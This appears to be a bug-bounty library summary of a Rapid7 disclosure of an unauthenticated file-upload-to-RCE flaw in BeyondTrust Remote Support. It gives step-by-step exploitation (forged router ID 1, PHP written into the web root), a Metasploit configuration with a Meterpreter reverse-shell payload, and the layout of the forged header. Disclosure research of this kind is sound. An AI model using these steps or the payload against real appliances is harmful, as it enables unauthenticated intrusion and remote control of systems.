# Rapid7 Analysis: Unauthenticated File Upload to RCE in BeyondTrust Remote Support (CVE-2026-102764)

Unauthenticated attacker forges reserved local router ID in MRS message source, reaching thin-scc native file service to write PHP into document root and gain RCE.

- Payout: Research
- Severity: critical
- Program: BeyondTrust Remote Support
- Write-up by: Jack Heysel
- Disclosed: 2026-10-30
- CVE: CVE-2026-102764
- Write-up quality: 9/10
- Original: https://www.rapid7.com/blog/post/ra-rapid7-analysis-unauthenticated-file-upload-to-rce-in-beyondtrust-remote-support-cve-2026-102764
- Library page: https://bugbountylibrary.com/r/blog%3Arapid7-com-blog-post-ra-rapid7-analysis-unauthenticated-file-upload-to-rce-in-beyondtrust-remote-support-cve-2026-102764
- Tags: area:devices domain:network impact:internal-access impact:rce kind:research platform:threat-intel sev:critical tech:php technique:reverse-engineering technique:source-review vuln:auth-bypass vuln:file-upload vuln:rce

**Target:** BeyondTrust Remote Support appliance (brain MRS router, thin-scc worker, native file-transfer service)
**Root cause:** brain's anti-spoofing check compares source router against the actual router ID but not the reserved local alias 1, and the local-address predicate returns true for router 1 without comparing the real ID; thin-scc trusts the caller-supplied sender address to decide locality.
**Steps:**
1. POST /api/start_session to obtain two public guest customer keys (native + thin).
2. Connect to /nw WebSocket with the native key to get an MRS client; connect with the thin key so thin-scc-wrapper starts an appliance-side worker.
3. Discover the thin worker via Director.GetGatewaySessionValues for the thin guest.
4. Send a LocalFileTransfer message to the worker's main dispatcher (handler 2048) with header source router set to reserved value `1` and source node set to the customer's node.
5. Set payload fields: `ftsName=local`, `action=DownloadAnonymousFiles`, `path=/home/msfuser/ingredi-24.1.2/app/www/public/<name>.php`, `serverAddress=<attacker MRS listener>`, `downloadToken=<random 24 chars>`, omit `responseAddress`.
6. Serve PHP bytes over the MRS stream responding to `get anonymous file` with the token; worker writes them to the supplied absolute path.
7. Request the extensionless URL `/<name>` (not `/<name>.php`, which .htaccess 404s) to execute the payload as msfuser (UID 1000).
8. Optionally use UploadFiles with path `/proc/self/environ` to read BG_app_root and locate the install directory.
**How found:** Reverse-engineered brain and thin-scc in Ghidra; noticed the anti-spoofing check at [B1] compares only the actual router ID while the local-address predicate FUN_0155ad40 returns true for reserved router 1 without that comparison, and thin-scc's origin wrapper feeds the message sender address into that predicate. Confirmed by sending the same file-service request under ordinary vs router-1 source: only the forged one produced a file-service connection.
**Exploitation:** Two fresh public guest sessions give an MRS client and an appliance-side thin-scc worker. The attacker sends a LocalFileTransfer request with a forged source router of 1, which passes thin-scc's locality check, then uses DownloadAnonymousFiles with ftsName=local to have the worker pull attacker-served PHP bytes into the Apache document root at an absolute path. Requesting the extensionless URL executes the PHP as msfuser, yielding unauthenticated RCE; Metasploit module exploit/linux/http/beyondtrust_rs_mrs_file_upload automates it.
**Escalation:** File write primitive escalated to code execution by targeting the PHP document root and bypassing the .htaccess .php 404 via extensionless URL rewrite; /proc/self/environ read via UploadFiles reveals the versioned install path to avoid guessing.
**Insight:** When a router/broker has both an anti-spoof check and a separate 'is this local' predicate, compare the two: a reserved alias (here router ID 1) accepted by the predicate but not covered by the spoof check is a bypass. Also, a service exposing multiple filesystem providers (browser-delegated vs native) means a successful transfer through one doesn't prove appliance write — target the native provider name explicitly.

## Proof of concept (copied exactly from the original report)

**Metasploit module configuration for the exploit**

```
use exploit/linux/http/beyondtrust_rs_mrs_file_upload
set RHOSTS 192.168.1.98
set TARGET 0
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.68
run verbose=true
```

**Forged MRS header with source router 1**

```
0x04
Source node
The customer's normal node

0x08
Source router
Changed to the reserved value 1

0x0c
Destination node
The worker's node

0x10
Destination router
The worker's router

0x14
Destination handler
Main dispatcher, 2048, on the tested build

0x24
Payload
Service name, newline, then packed fields
```

**Rejected nonlocal file-transfer request log line**

```
20261029 17:01:33 999999 thin-scc 11801:proc{LocalFileTransfer}(t11832) FT:WARNING>DISCARDING NONLOCAL MESSAGE: LocalFileTransfer:action=DownloadAnonymousFiles;ckey=<REDACTED>;downloadToken=<REDACTED>;enableResume=0;ftsName=local;path=/home/msfuser/ingredi-24.1.2/app/www/public/envresolve28f788af6a1c39bf.php;serverAddress=1:1022182175:9000;wantOverwritePrompts=0
```